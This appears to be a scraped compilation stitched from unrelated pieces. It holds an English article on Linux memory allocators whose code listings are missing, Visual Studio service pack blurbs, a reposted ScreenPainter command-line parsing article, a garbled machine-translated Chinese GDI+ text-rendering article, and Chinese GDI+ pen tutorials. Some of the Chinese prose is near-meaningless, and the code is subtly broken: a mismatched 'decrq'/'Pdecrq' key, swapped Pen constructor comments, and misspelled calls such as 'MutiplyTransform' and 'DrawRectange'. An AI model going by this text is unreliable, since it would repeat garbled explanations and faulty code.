Get an overview of the memory management techniques that are available to Linux™ programmers, focusing on the C language but applicable to other languages as well. This article gives you the details of how memory management works, and then goes on to show how to manage memory manually, how to manage memory semi-manually using referencing counting or pooling, and how to manage memory automatically using garbage collection.
Memory management is one of the most fundamental areas of computer programming. In many scripting languages, you don't have to worry about how memory is managed, but that doesn't make memory management any less important. Knowing the abilities and limitations of your memory manager is critical for effective programming. In most systems languages like C and C++, you have to do memory management. This article covers the basics of manual, semi-automatic, and automatic memory management practices.
Back in the days of assembly language programming on the Apple II, memory management was not a huge concern. You basically had run of the whole system. Whatever memory the system had, so did you. You didn't even have to worry about figuring out how much memory it had, since every computer had the same amount. So, if your memory requirements were pretty static, you just chose a memory range to use and used it.
However, even in such a simple computer you still had issues, especially if you didn't how much memory each part of your program was going to need. If you have limited space and varying memory needs, then you need some way to meet these requirements:
The libraries that implement these requirements are called allocators, because they are responsible for allocating and deallocating memory. The more dynamic a program is, the more memory management becomes an issue, and the more important your choice of memory allocator becomes. Let's look at the different methods available to manage memory, their benefits and drawbacks, and the situations in which they work best.
|
The C programming language provides two functions to fulfill our three requirements:
malloc, and returns it for later use by the program or the operating system (actually, some malloc implementations can only return memory back to the program, not to the operating system).
To understand how memory gets allocated within your program, you first need to understand how memory gets allocated to your program from the operating system. Each process on your computer thinks that it has access to all of your physical memory. Obviously, since you are running multiple programs at the same time, each process can't own all of the memory. What happens is that your processes are using virtual memory.
Just for an example, let's say that your program is accessing memory address 629. The virtual memory system, however, doesn't necessarily have it stored in RAM location 629. In fact, it may not even be in RAM -- it could even have been moved to disk if your physical RAM was full! Because the addresses don't necessarily reflect the physical location where the memory is located, this is called virtual memory. The operating system maintains a table of virtual address-to-physical address translations so that the computer hardware can respond properly to address requests. And, if the address is on disk instead of in RAM, the operating system will temporarily halt your process, unload other memory to disk, load in the requested memory from disk, and restart your process. This way, each process gets its own address space to play in and can access more memory than you have physically installed.
On 32-bit x86 systems, each process can access 4 GB of memory. Now, most people don't have 4 GB of memory on their systems, even if you include swap, must less 4 GB per process. Therefore, when a process loads, it gets an initial allocation of memory up to a certain address, called the system break. Past that is unmapped memory -- memory for which no corresponding physical location has been assigned either in RAM or on disk. Therefore, if a process runs out of memory from its initial allocation, it has to request that the operating system "map in" more memory. (Mapping is a mathematical term for one-to-one correspondence -- memory is "mapped" when its virtual address has a corresponding physical location to store it in.)
UNIX-based systems have two basic system calls that map in additional memory:
brk() is a very simple system call. Remember the system break, the location that is the edge of mapped memory for the process? brk() simply moves that location forward or backward, to add or remove memory to or from the process.
mmap(), or "memory map," is like brk() but is much more flexible. First, it can map memory in anywhere, not just at the end of the process. Second, not only can it map virtual addresses to physical RAM or swap, it can map them to files and file locations so that reading and writing memory addresses will read and write data to and from files. Here, however, we are only concerned with
mmap's ability to add mapped RAM to our process. munmap() does the reverse of mmap().
As you can see, either brk() or mmap() can be used to add additional virtual memory to our processes. We will use brk() in our examples, because it is simpler and more common.
Implementing a simple allocator
If you've done much C programming, you have probably used malloc() and free() quite a bit. However, you may not have taken the time to think about how they might be implemented in your operating system. This section will show you code for a simplistic implementation of
malloc and free to help demonstrate what is involved with managing memory.
To try out these examples, copy this code listing and paste it into a file called malloc.c. I'll explain the listing a section at a time, below.
Memory allocation on most operating systems is handled by two simple functions:
void *malloc(long numbytes): This allocates numbytes of memory and returns a pointer to the first byte.
void free(void *firstbyte): Given a pointer that has been returned by a previous malloc, this gives the space that was allocated back to the process's "free space." malloc_init is going to be our function to initialize our memory allocator. It does three things: marks our allocator as being initialized, finds the last valid memory address on the system, and sets up the pointer to the beginning of our managed memory. These three variables are global variables:
Listing 1. Global variables of our simple allocator
|
As mentioned above, the edge of mapped memory -- last valid address -- is often known as the system break or the current break. On many UNIX® systems, to find the current system break, you use the function
sbrk(0). sbrk moves the current system break by the number of bytes in its argument, and then returns the new system break. Calling it with an argument of 0 simply returns the current break. Here is our
malloc initialization code, which finds the current break and initializes our variables:
Listing 2. Allocator initialization function
|
Now, in order to properly manage memory, we need to be able to track what we are allocating and deallocating. We need to do things like mark blocks as unused after free has been called on them, and be able to locate unused blocks when
malloc is called. Therefore, the start of every piece of memory returned by malloc will have this structure at the beginning:
Listing 3. Memory Control Block structure definition
|
Now, you might think that this would cause problems for programs calling malloc -- how do they know about this struct? The answer is that they don't have to know about it; we will hide it by moving the pointer past this struct before we return it. This will make the returned pointer point to memory that is not used for any other purpose. That way, from the calling programs' perspective, all they get is free, open memory. Then, when they pass the pointer back via
free(), we simply back up a few memory bytes to find this structure again.
We're going to talk about freeing before we talk about allocating memory, because it's simpler. The only thing we have to do to free memory is to take the pointer we're given, back up sizeof(struct mem_control_block)
bytes, and mark it as available. Here is the code for that:
Listing 4. Deallocation function
|
As you can see, in this allocator, freeing memory is done in constant time, using a very simple mechanism. Allocating memory is slightly harder. Here is the outline of the algorithm:
Listing 5. Pseudo-code for the main allocator
|
We're basically walking through memory using linked pointers looking for open chunks. Here is the code:
Listing 6. The main allocator
|
And that is our memory manager. Now, we just have to build it and get it to run with our programs.
To build your malloc-compatible allocator (actually, we're missing some functions like realloc(), but malloc() and free() are the main ones), run the following command:
Listing 7. Compiling the allocator
|
This will produce a file named malloc.so, which is a shared library containing our code.
On UNIX systems, you can now use your allocator in place of your system malloc() by doing this:
Listing 8. Replacing your standard malloc
|
The LD_PRELOAD environment variable causes the dynamic linker to load the symbols of the given shared library before any executable it loads. It also gives precedence to the symbols in the library specified. Therefore, any application we start from now on in this session will be using our
malloc() and not the system one. A few applications don't use malloc(), but they are the exception. Others, which use the other memory-management functions such as realloc() or which make poor assumptions about the internal behavior of
malloc() will likely crash. The ash shell appears to work just fine using our new malloc().
If you want to be sure that your malloc() is being used, you should test it by adding calls to write() at the entry points of your functions.
Our memory manager leaves a lot to be desired, but it is good for showing what a memory manager needs to do. Some of its drawbacks include the following:
mmap.
malloc simply assumes success).
realloc().
sbrk() may give back more memory than we ask for, we leak some memory at the end of the heap.
is_available flag uses a full 4-byte word, even though it only contains 1 bit of information.
There are many implementations of malloc(), each with their own strengths and weaknesses. There are a number of tradeoff decisions when you design an allocator, including:
Each implementation has its own set of benefits and drawbacks. In our simple allocator, it was very slow in allocation but very, very fast in deallocation. Also, because of its poor behavior with virtual memory systems, it works best on large objects.
There are many other allocators available. Some of them include:
ptmalloc. Doug Lea's allocator has a basic structure much like our version, but it incorporates indexes to make searching faster and has the ability to combine multiple unused chunks into one large chunk. It also enables caching to make reuse of recently freed memory faster.
ptmalloc is a version of Doug Lea Malloc that was extended to support multiple threads. A paper describing Doug Lea's Malloc implementation is available in the
Resources section later in this article.
These are the best known of the many allocators available. If your program has specific allocation needs, you may prefer to write a custom allocator that matches the way your program allocates memory. However, if you aren't familiar with allocator design, custom allocators can often create more problems than they solve. For a good introduction to the subject, see Donald Knuth's The Art of Computer Programming Volume 1: Fundamental Algorithms in section 2.5, "Dynamic Storage Allocation" (see Resources for a link). It is a bit dated, because it doesn't take into account virtual memory environments, but most algorithms are based on the ones presented there.
In C++, you can implement your own allocator on a per-class or per-template basis by overloading operator new(). Andrei Alexandrescu's Modern C++ Design describes a small object allocator in Chapter 4, "Small Object Allocation" (see
Resources for a link).
Shortcomings of malloc()-based memory management
Not only does our memory manager have shortcomings, there are many shortcomings of malloc()-based memory management that remain no matter which allocator you use. Managing memory with malloc()
can be pretty daunting for programs that have long-running storage they need to keep around. If you have lots of references to memory floating around, it is often difficult to know when it should be released. Memory whose lifetime is limited to the current function is fairly easy to manage, but for memory that lives beyond that, it becomes much more difficult. Also, many APIs are unclear as to whether the responsibility for memory management lies with the calling program or the called function.
Because of the problems managing memory, many programs are oriented around their memory management rules. C++'s exception handling makes this task even more problematic. Sometimes it seems that more code is dedicated to managing memory allocation and cleanup than actually accomplishing computational tasks! Therefore, we will examine other alternatives to memory-management.
|
Semi-automatic memory management strategies
Reference counting is a semi-automated memory-management technique, meaning that it requires some programmer support, but it does not require you to know for sure when an object is no longer in use. The reference counting mechanism does that for you.
In reference counting, all shared data structures have a field that contains the number of "references" currently active to that structure. When a procedure is passed a pointer to a data structure, it adds to the reference count. Basically, you are telling the data structure how many locations it is being stored in. Then, when your procedure is finished using it, it decreases the reference count. When this happens, it also checks to see if the count has dropped to zero. If so, it frees the memory.
The advantage to this is that you don't have to follow every path in your program that a given data structure may follow. Each localized reference to it simply increases or decreases the count as appropriate. This prevents it from being freed while it is still in use. However, you must remember to run the reference counting functions whenever you are using a reference-counted data structure. Also, built-in functions and third-party libraries will not know about or be able to use your reference-counting mechanism. Reference counting also has difficulties with structures having circular references.
To implement reference counting, you simply need two functions -- one to increase the reference count, and one to decrease the reference count and free the memory when the count drops to zero.
An example reference counting function set might look like this:
Listing 9. Basic reference counting functions
|
REF and UNREF might be more complicated, depending on what you wanted to do. For example, you may want to add locking for a multithreaded program, and you may want to extend refcountedstruct
so that it also includes a pointer to a function to call before freeing the memory (like a destructor in object-oriented languages -- this is required if your structures contain pointers).
When using REF and UNREF, you need to obey these rules for pointer assignments:
UNREF the value that the left-hand-side pointer is pointing to before the assignment.
REF the value that that the left-hand-side pointer is pointing to after the assignment.
In functions that are passed refcounted structures, the functions need to follow these rules:
Here is a quick example of code using reference counting:
Listing 10. Example using reference counting
|
Since reference counting is so simple, most programmers implement it themselves rather than using libraries. They do, however, depend on low-level allocators like malloc and free to actually allocate and release their memory.
Reference counting is used quite a bit in high-level languages like Perl to do memory management. In those languages, the reference counting is handled automatically by the language, so that you don't have to worry about it at all except for writing extension modules. This takes away some speed as everything must be reference counted, but adds quite a bit of safety and ease of programming. Here are the benefits:
However, it also has its drawbacks:
try or setjmp()/longjmp()) while using reference counted objects.
C++ can mitigate some of the programmer error by using smart pointers, which can handle pointer-handling details such as reference counting for you. However, if you have to use any legacy code that can't handle your smart pointers (such as linkage to a C library), it usually degenerates into a mess that is actually more difficult and twisted than if you didn't use them. Therefore, it is usually only useful for C++-only projects. If you want to use smart pointers, you really need to read the "Smart Pointers" chapter from Alexandrescu's Modern C++ Design book.
Memory pools are another method to semi-automate memory management. Memory pools help automate memory management for programs that go through specific stages, each of which has memory that is allocated for only specific stages of processing. For example, many network server processes have lots of per-connection memory allocated -- memory whose maximum lifespan is the life of the current connection. Apache, which uses pooled memory, has its connections broken down into stages, each of which have their own memory pool. At the end of the stage, the entire memory pool is freed at once.
In pooled memory management, each allocation specifies a pool of memory from which it should be allocated. Each pool has a different lifespan. In Apache, there is a pool that lasts the lifetime of the server, one that lasts the lifetime of the connection, one that lasts the lifetime of the requests, and others as well. Therefore, if I have a series of functions that will not generate any data that lasts longer than the connection, I can just allocate it all from the connection pool, knowing that at the end of the connection, it will be freed automatically. Additionally, some implementations allow registering cleanup functions, which get called right before the memory pool is cleared, to do any additional tasks that need to be performed before the memory is cleared (similar to destructors, for you object-oriented folks).
To use pools in your own programs, you can either use GNU libc's obstack implementation or Apache's Apache Portable Runtime. GNU obstacks are nice, because they are included by default in GNU-based Linux distributions. The Apache Portable Runtime is nice because it has a lot of other utilities to handle all aspects of writing multiplatform server software. To learn more about GNU obstacks and Apache's pooled memory implementation, see the links to their documentation in the Resources section.
The following hypothetical code listing shows how obstacks are used:
Listing 11. Example code for obstacks
|
Basically, after each major stage of operation, the obstack for that stage is freed. Note, however, that if a procedure needs to allocate memory that will last longer than the current stage, it can use a longer-term obstack as well, such as the connection or the global one. The
NULL that is passed to obstack_free() indicates that it should free the entire contents of the obstack. Other values are available, but they usually are not as useful.
Benefits of using pooled memory allocation include the following:
The drawbacks for pooled memory are:
|
Garbage collection is the fully automatic detection and removal of data objects that are no longer in use. Garbage collectors are usually run when the available memory drops below a specific threshold. Generally, they start off with a "base" set of data that is known to be available to the program -- stack data, global variables, and registers. They then try to trace through every piece of data linked through those. Everything the collector finds is good data; everything that it doesn't find is garbage and can be destroyed and reused. To manage memory effectively, many types of garbage collectors require knowledge of the layout of pointers within data structures, and therefore have to be a part of the language itself to function properly.
Hans Boehm's conservative garbage collector is one of the most popular garbage collectors available, because it's free and it's both conservative and incremental. You can use it as a drop-in replacement for your system allocator (using
malloc/free instead of its own API) by building it with --enable-redirect-malloc. In fact, if you do this, you can use the same LD_PRELOAD trick that we used for our simple allocator to enable garbage collection in almost any program on your system. If you suspect a program is leaking memory, you can use this garbage collector to keep the process size down. Many people used this technique in the early days of Mozilla when it leaked memory heavily. This garbage collector runs under both Windows® and UNIX.
Some advantages of garbage collection:
The drawbacks include:
|
It's a world of tradeoffs: performance, ease-of-use, ease-of-implementation, and threading capability, just to name a few. There are numerous patterns of memory management at your disposal to match your project requirements. Each pattern has a wide range of implementations, each of which has its benefits and drawbacks. Using the default techniques for your programming environment is fine for many projects, but knowing the available options will help you when your project has special needs. This table compares the memory management strategies covered in this article.
Table 1. Comparison of memory allocation strategies
| Strategy | Allocation speed | Deallocation speed | Cache locality | Ease of use | Generality | Usable in real time | SMP and thread-friendly |
| Custom allocator | Depends on implementation | Depends on implementation | Depends on implementation | Very difficult | None | Depends on implementation | Depends on implementation |
| Simple allocator | Fast for small memory usage | Very fast | Poor | Easy | Very | No | No |
GNU malloc
| Moderate | Fast | Moderate | Easy | Very | No | Moderate |
| Hoard | Moderate | Moderate | Moderate | Easy | Very | No | Yes |
| Reference counting | N/A | N/A | Excellent | Moderate | Moderate | Yes (depends on malloc implementation)
| Depends on implementation |
| Pooling | Moderate | Very fast | Excellent | Moderate | Moderate | Yes (depends on malloc implementation)
| Depends on implementation |
| Garbage collection | Moderate (slow when collection occurs) | Moderate | Poor | Moderate | Moderate | No | Rarely |
| Incremental garbage collection | Moderate | Moderate | Moderate | Moderate | Moderate | No | Rarely |
| Incremental conservative garbage collection | Moderate | Moderate | Moderate | Easy | Very | No | Rarely |
|
Documentation on the Web
malloc implementation optimized for multithreaded applications.malloc implementation that is based on mmap().malloc implementation that helps debug memory problems in programs.malloc and how it interacts with BSD virtual memory.
malloc implementations used for finding memory problems in programs.
|
|
|
Jonathan Bartlett is the author of the book Programming from the Ground Up, an introduction to programming using Linux assembly language. He is the lead developer at New Media Worx, developing Web, video, kiosk, and desktop applications for clients. You can contact Jonathan at johnnyb@eskimo.com. | |
| Service Pack 5
Microsoft Visual Studio 6.0 Service Pack 5 (SP5) provides updates to the Visual Studio 6.0 development system and its component products. | |
| Service Pack 6
Microsoft Visual Studio 6.0 Service Pack 6 (SP6) provides updates to the Visual Studio 6.0 development system and its component products. |
转自:http://www.codeproject.com/vcpp/gdiplus/ScreenPainter.asp
This article shows painting on screen by using command line parameters. Application is dialog based with transparent property, so painting on screen is actually painting on dialog which is invisible (transparent). Command line parameters provide possibility for other applications to use this application as its component.
This project contains 5 classes:
CCmdLineParser - Command line parameters class
CScreenPainterApp - Application class
CScreenPainterDlg - Dialog implementation
CStroke - Modified class form Scribble tutorials
SShortcuts - Structure for shortcuts key Implementation of the command line parameter is based on CCmdLineParser class by Pavel Antonov. The code below shows the implementation of command line parameters.
void CScreenPainterApp::CommandLine(CScreenPainterDlg *pWnd) { //Parsing the command parameters //First we check the security code if(parser.HasKey("sec")) { CString strSec=parser.GetVal("sec"); if(strSec!="123874981724sjdhflaksjdoaisdj20938448laskfj") { //string is wromg so there is no security code pWnd->SendMessage(WM_CLOSE); } } else { //ther is no security code pWnd->SendMessage(WM_CLOSE); } //No nedd for this parameter thue to Start Annotation when app starts if(parser.HasKey("start")) { pWnd->StartAnnotation(); } //Clear command if(parser.HasKey("clear")) { pWnd->ClearTheScreen(); } //Cursor if(parser.HasKey("cursor")) { CString strCursor=parser.GetVal("cursor"); pWnd->SetCursor(strCursor); } //Color of the pen if(parser.HasKey("color")) { CString col=parser.GetVal("color"); pWnd->SetColor(ParseColor(col)); } //Thinkness if(parser.HasKey("thinkness")) { CString think=parser.GetVal("thinkness"); pWnd->SetThinkness(atoi(think)); } //PenType if(parser.HasKey("pentype")) { CString pen=parser.GetVal("pentype"); pWnd->SetPenType(atoi(pen)); } //Exit App if(parser.HasKey("exit")) { pWnd->SendMessage(WM_CLOSE); } //option command for clear the screen if(parser.HasKey("Pclear")) { CString str=parser.GetVal("Pclear"); pWnd->m_sShotcuts.clear=str.GetAt(0); } //option command for exit app if(parser.HasKey("Pexit")) { CString str=parser.GetVal("Pexit"); pWnd->m_sShotcuts.exit=str.GetAt(0); } //option command for pen width if(parser.HasKey("Pincrw")) { CString str=parser.GetVal("Pincrw"); pWnd->m_sShotcuts.incrw=str.GetAt(0); } //option command for pen width if(parser.HasKey("decrq")) { CString str=parser.GetVal("Pdecrq"); pWnd->m_sShotcuts.decrq=str.GetAt(0); } //option command for blue color if(parser.HasKey("Pblue")) { CString str=parser.GetVal("Pblue"); pWnd->m_sShotcuts.blue=str.GetAt(0); } //option command for red color if(parser.HasKey("Pred")) { CString str=parser.GetVal("Pred"); pWnd->m_sShotcuts.red=str.GetAt(0); } //option command for green color if(parser.HasKey("Pgreen")) { CString str=parser.GetVal("Pgreen"); pWnd->m_sShotcuts.green=str.GetAt(0); } //option command for yellow color if(parser.HasKey("Pyellow")) { CString str=parser.GetVal("Pyellow"); pWnd->m_sShotcuts.yellow=str.GetAt(0); } //Start Annotation have to be the last action pWnd->StartAnnotation(); }
Command line parameters has the standard form like:
screenpainter.exe [Argument list]
[Argument list] can be one of the following:
Example:
screenpainter.exe –sec:SecurityCode
Example:
screenpainter.exe –clear
Example:
screenpainter.exe –start
Example:
screenpainter.exe –cursor:test.cur
or
screenpainter.exe –cursor :c:\test.cur
Example:
screenpainter.exe –color: 0,0,255
Example:
screenpainter.exe –thinkness:2 - determines the pen width of 2 pixels.
PS_SOLID - Creates a solid pen
PS_DASH - Creates a dashed pen. Valid only when the pen width is 1 or less, in device units.
PS_DOT - Creates a dotted pen. Valid only when the pen width is 1 or less, in device units.
PS_DASHDOT - Creates a pen with alternating dashes and dots. Valid only when the pen width is 1 or less, in device units.
PS_DASHDOTDOT - Creates a pen with alternating dashes and double dots. Valid only when the pen width is 1 or less, in device units.
PS_NULL - Creates a null pen.
PS_INSIDEFRAME - Creates a pen that draws a line inside the frame of closed shapes. Example:
screenpainter.exe –pentype:2 - Set the pen type PS_DASH..
Example:
screenpainter.exe –close
Of course, when you are starting the application, you can use any combination of the mentioned arguments.
Example:
screenpainter.exe -sec:SecurityCode -cursor:filename.cur
-color:127,233,147 -thinkness:20 -pentype:2
or
screenpainter.exe –clear -close
etc…….
During the drawing, you can use some of the option commands. Any option command you can fire up by pressing the corresponding keyboard key. The following commands are available:
All options are available while you are drawing on the screen. The shortcuts for option commands are predefined and they can be modified, with command line parameters.
Pclear:value argument changes default shortcut key 'c' for clear to 'value' key.
Example:
screenpainter.exe –Pclear:z -after executing this parameter,
default key for clear is cahanged in to 'z'.
Pexit:value argument changes default shortcut key 'x' for clear to 'value' key.
| • | 如果窗体上字段大小以容纳一个开发人员计算机, 上一些静态文本它, 应用程序可能运行上, 不管屏幕分辨率或辅助设置所有计算机上容纳文本。 |
| • | 它出现在屏幕上打印窗体, 时它将布局相同。 |
| • | 图元文件中记录窗体保留其布局。 |
| • | 允许行以通过合同到 em 正方形未进行任何更改的 Glyph 距的宽度。 请参阅了有关 em 正方形和其使用本文 " 参考 " 部分作为的版式度量单位。 |
| • | 当您增加到最多加倍, 单词之间空格的宽度由剩余 contraction。 |
| • | 通过引入空像素之间标志符号由剩余 contraction。 |
| GDI 相关 (分辨率 -) 显示 |
|
| 显示 GDIPlus 独立 (分辨率 -) |
|
| GDI 相关 (分辨率 -) 显示 |
|
| 显示 GDIPlus 独立 (分辨率 -) |
|
| GDI 相关 (分辨率 -) 显示 |
|
| 显示 GDIPlus 独立 (分辨率 -) |
|
| • | 始终将 MeasureString 和 DrawString 基于版式 StringFormat (GenericTypographic) StringFormat 对象。 - 和 - |
| • | 设置 TextRenderingHintAntiAlias TextRenderingHint 图形。 |
| GDI 显示相关 (分辨率 -) |
|
| GDIPlus fitted 网格显示独立 (分辨率 -) |
|
| GDIPlus anti-alias 显示独立 (分辨率 -) |
|
| GDI 显示相关 (分辨率 -) |
|
| GDIPlus fitted 网格显示独立 (分辨率 -) |
|
| GDIPlus anti-alias 显示独立 (分辨率 -) |
|
| GDI 显示相关 (分辨率 -) |
|
| 网格 - fitted GDIPlus 显示独立 (分辨率 -) |
|
| GDIPlus anti-alias 显示独立 (分辨率 -) |
|
| • | 在印刷字符串格式和 TextRenderingHintAntiAlias , 使用 DrawString 详见本文中前面讨论。 - 或 - |
| • | 使用 GDI 的 ExtTextOut 或 UniScribe (Unicode 脚本处理器)。 |
| • | Microsoft GDI+ 1.0 |
| • | Microsoft Windows XP Professional |
| • | Microsoft Windows XP Professional for Itanium-based systems |
作者:李昊
画笔常用于绘制图形的轮廓.GDI+的画笔除了具有常见的色彩和宽度属性外,还具有对齐方式,线帽,变换方式等属性。GDI+中通过Pen类来定义画笔对象。
(一)、构造与使用画笔
Pen(brush, width); //用颜色与线宽构造一个画笔
Pen(color, width); //用画刷与宽度构造一个画笔例子: Pen pen(Color(255, 0, 0, 0),1);//用第一个构造函数.构造宽度为1的黑色画刷
graphics.DrawLine(&pen, 20, 10, 300, 100);
Image image(L"Texture1.jpg");
TextureBrush tBrush(&image);
graphics.DrawImage(&image, 0, 0, image.GetWidth(), image.GetHeight());
Pen texturedPen(&tBrush, 30);//用第二个构造函数,用一个纹理画刷
graphics.DrawEllipse(&texturedPen, 100, 20, 200, 100);
Pen blackPen(Color(255, 0, 0, 0), 1);
Pen greenPen(Color(255, 0, 255, 0), 10);
greenPen.SetAlignment(PenAlignmentCenter);
graphics.DrawLine(&greenPen, 10, 100, 100, 50);
graphics.DrawLine(&blackPen, 10, 100, 100, 50);
我们把绿色画笔设为中对齐时:
graphics.DrawRectangle(&greenPen, 10, 100, 50, 50);
graphics.DrawRectangle(&blackPen, 10, 100, 50, 50);
我们把绿色画笔设为内对齐时:
greenPen.SetAlignment(PenAlignmentInset);
这样我们可以按需要来设置对齐方式。 (三)、设置笔帽 Pen pen(Color(255, 0, 0, 255), 8);
pen.SetStartCap(LineCapArrowAnchor);
pen.SetEndCap(LineCapRoundAnchor);
graphics.DrawLine(&pen, 20, 175, 300, 175);
效果如下:
(四)、设置两条直线的连接形 GraphicsPath path;
Pen penJoin(Color(255, 0, 0, 255), 8);
path.StartFigure();
path.AddLine(Point(50, 200), Point(100, 200));
path.AddLine(Point(100, 200), Point(100, 250));
penJoin.SetLineJoin(LineJoinBevel);
graphics.DrawPath(&penJoin, &path);
(五)、自定义线型 REAL dashValues[4] = {5, 2, 15, 4};
Pen blackPen(Color(255, 0, 0, 0), 5);
blackPen.SetDashPattern(dashValues, 4);
graphics.DrawLine(&blackPen, Point(5, 5), Point(405, 5));
有一点要明白,最后的那条虚线要比25单位少,这样它才能在405处结束。 Pen pen(Color(255,0,0,255));
pen.SetWidth(5);
Matrix matrix(1,0,0,2,0,0);
pen.MutiplyTransform(&matrix,MatrixOrderPrepend);//方法一
pen.SetTransform(&matrix);//方法二
pen.ScaleTransform(1,4);
graphics.DrawRectange(&pen,50,50,200,200); 还可以对画笔进行旋转变换,旋转是相对在水平宽度与垂直位置上不一致的画笔而言的左图为缩放变换,右图为旋转变换。
作者:李昊
下载源代码
一、GDI
GDI是位于应用程序与不同硬件之间的中间层,这种结构让程序员从直接处理不同硬件的工作中解放出来,把硬件间的差异交给了GDI处理。GDI通过将应用程序与不同输出设备特性相隔离,使Windows应用程序能够毫无障碍地在Windows支持的任何图形输出设备上运行。例如,我们可以在不改变程序的前提下,让能在Epson点式打印机上工作的程序也能在激光打印机上工作。它把windows系统中的图形输出转换成硬件命令然后发送给硬件设备。GDI是以文件的形式存储在系统中,系统需要输出图形时把它载入内存,如果转换成硬件命令时遇到非GDI命令,系统还可能载入硬件驱动程序,驱动程序辅助GDI把图形命令转换成硬件命令。

二、设备环境
Windows系统是用来给应用程序提供设备独立性的工具,它是windows系统为了处理输出设备而使用的一种内部数据结构,设备环境是windos程序,驱动程序,和输出设备(如打印机,绘图仪)之间的纽带,GDI是一组C++类,它在驱动程序的协助下把数据描绘在硬件上,它位于应用程序与硬件之间,把数据从一方传到另一方。在Visual Studio .NET中Micro$oft解决了GDI中的许多问题,并让它变得易用,
GDI的.net版本叫做GDI+。
三、GDI+
GDI+是GDI的下一个版本,它进行了很好的改进,并且易用性更好。GDI的一个好处就是你不必知道任何关于数据怎样在设备上渲染的细节,GDI+更好的实现了这个优点,也就是说,GDI是一个中低层API,你还可能要知道设备,而GDI+是一个高层的API,你不必知道设备。例如你如果要设置某个控件的前景和背景色,只需设置BackColor和ForeColor属性。
四、编程模式的变化
"GDI uses a stateful model, whereas GDI+ uses a stateless"——GDI是有状态的,GDI+是无无状态的。
1、不再使用设备环境或句柄
在使用GDI绘图时,必须要指定一个设备环境(DC),用来将某个窗口或设备与设备环境类的句柄指针关联起来,所有的绘图操作都与该句柄有关。而GDI+不再使用这个设备环境或句柄,取而代之是使用Graphics对象。与设备环境相类似,Graphics对象也是将屏幕的某一个窗口与之相关联,并包含绘图操作所需要的相关属性。但是,只有这个Graphics对象与设备环境句柄还存在着联系,其余的如Pen、Brush、Image和Font等对象均不再使用设备环境。
2、Pen、Brush,Font,Image等对象是图形对象独立的
画笔对象能与用于提供绘制方法的图形对象分开创建于维护,Graphics绘图方法直接将Pen对象作为自己的参数,从而避免了在GDI使用SelectObject进行繁琐的切换,类似的还有Brush、Path、Image和Font等。
3、"当前位置"
GDI绘图操作(如画线)中总存在一个被称为"当前位置"的特殊位置。每次画线都是以此当前位置为起始点,画线操作结束之后,直线的结束点位置又成为了当前位置。设置当前位置的理由是为了提高画线操作的效率,因为在一些场合下,总是一条直线连着另一条直线,首尾相接。有了当前位置的自动更新,就可避免每次画线时都要给出两点的坐标。尽管有其必要性,但是单独绘制一条直线的场合总是比较多的,因此GDI+取消这个"当前位置"以避免当无法确定"当前位置"时所造成的绘图的差错,取而代之的是直接在DrawLine中指定直线起止点的坐标。
4、绘制和填充
GDI总是让形状轮廓绘制和填充使用同一个绘图函数,例如Rectangle。轮廓绘制需要一个画笔,而填充一个区域需要一个画刷。也就是说,不管我们是否需要填充所绘制的形状,我们都需要指定一个画刷,否则GDI采用默认的画刷进行填充。这种方式确实给我们带来了许多不便,现在GDI+将形状轮廓绘制和填充操作分开而采用不同的方法,例如DrawRectangle和FillRectangle分别用来绘制和填充一个矩形。
5、区域的操作
GDI提供了许多区域创建函数,如:CreateRectRgn、CreateEllpticRgn、CreateRoundRectRgn、CreatePolygonRgn和CreatePolyPolygonRgn等。诚然,这些函数给我们带来了许多方便。但在GDI+中,由于为了便于将区域引入矩阵变换操作,GDI+简化一般区域创建的方法,而将更复杂的区域创建交由Path接管。由于Path对象是与设备环境分离开来的,因而可以直接在Region构造函数中加以指定。
五、GDI+新特色
GDI+与GDI相比,增加了下列新的特性:
1、渐变画刷
以往GDI实现颜色渐变区域的方法是通过使用不同颜色的线条来填充一个裁剪区域而达到的。现在GDI+拓展了GDI功能,提供线型渐变和路径渐变画刷来填充一个图形、路径和区域,甚至也可用来绘制直线、曲线等。这里的路径可以视为由各种绘图函数产生的轨迹。
2、样条曲线
对于曲线而言,最具实际意义的莫过于样条曲线。样条曲线是在生产实践的基础上产生和发展起来的。模线间的设计人员在绘制模线时,先按给定的数据将型值点准确地"点"到图板上。然后,采用一种称为"样条"的工具(一根富有弹性的有机玻璃条或木条),用压铁强迫它通过这些型值点,再适当调整这些压铁,让样条的形态发生变化,直至取得合适的形状,才沿着样条画出所需的曲线。如果我们把样条看成弹性细梁,那么压铁就可看成作用在这梁上的某些点上的集中力。GDI+的Graphics:: DrawCurve函数中就有一个这样的参数用来调整集中力的大小。除了样条曲线外,GDI+还支持原来GDI中的Bezier曲线。
3、独立的路径对象
在GDI中,路径是隶属于一个设备环境(上下文),也就是说一旦设备环境指针超过它的有效期,路径也会被删除。而GDI+是使用Graphics对象来进行绘图操作,并将路径操作从Graphics对象分离出来,提供一个GraphicsPath类供用户使用。这就是说,我们不必担心路径对象会受到Graphics对象操作的影响,从而可以使用同一个路径对象进行多次的路径绘制操作。
4、矩阵和矩阵变换
在图形处理过程中常需要对其几何信息进行变换以便产生复杂的新图形,矩阵是这种图形几何变换最常用的方法。为了满足人们对图形变换的需求,GDI+提供了功能强大的Matrix类来实现矩阵的旋转、错切、平移、比例等变换操作,并且GDI+还支持Graphics图形和区域(Region)的矩阵变换。
5、Alpha通道合成运算
在图像处理中,Alpha用来衡量一个像素或图像的透明度。在非压缩的32位RGB图像中,每个像素是由四个部分组成:一个Alpha通道和三个颜色分量(R、G和B)。当Alpha值为0时,该像素是完全透明的,而当Alpha值为255时,则该像素是完全不透明。
Alpha混色是将源像素和背景像素的颜色进行混合,最终显示的颜色取决于其RGB颜色分量和Alpha值。它们之间的关系可用下列公式来表示
显示颜色 = 源像素颜色 X alpha / 255 + 背景颜色 X (255 - alpha) / 255
GDI+的Color类定义了ARGB颜色数据类型,从而可以通过调整Alpha值来改变线条、图像等与背景色混合后的实际效果。
6、多图片格式的支持
GDI+提供了对各种图片的打开,存储功能。通过GDI+,我们能够直接将一幅BMP文件存储成JPG或其它格式的图片文件。
除了上述新特性外,GDI+还将支持重新着色、色彩修正、消除走样、元数据以及Graphics容器等特性。
六、VC.net中使用GDI+的方法
在Visual C++.NET使用GDI+一般遵循下列步骤:
(1)、在应用程序中添加GDI+的
包含文件gdiplus.h以及附加的类库gdiplus.lib。通常gdiplus.h包含文件添加在应用程序的stdafx.h文件中,而gdiplus.lib可用两种进行添加:第一种是直接在stdafx.h文件中添加下列语句:
#pragma comment( lib, "gdiplus.lib" )
另一种方法是:选择"项目->属性"菜单命令,在弹出的对话框中选中左侧的"链接器->输入"选项,在右侧的"附加依赖项"框中键入gdiplus.lib,
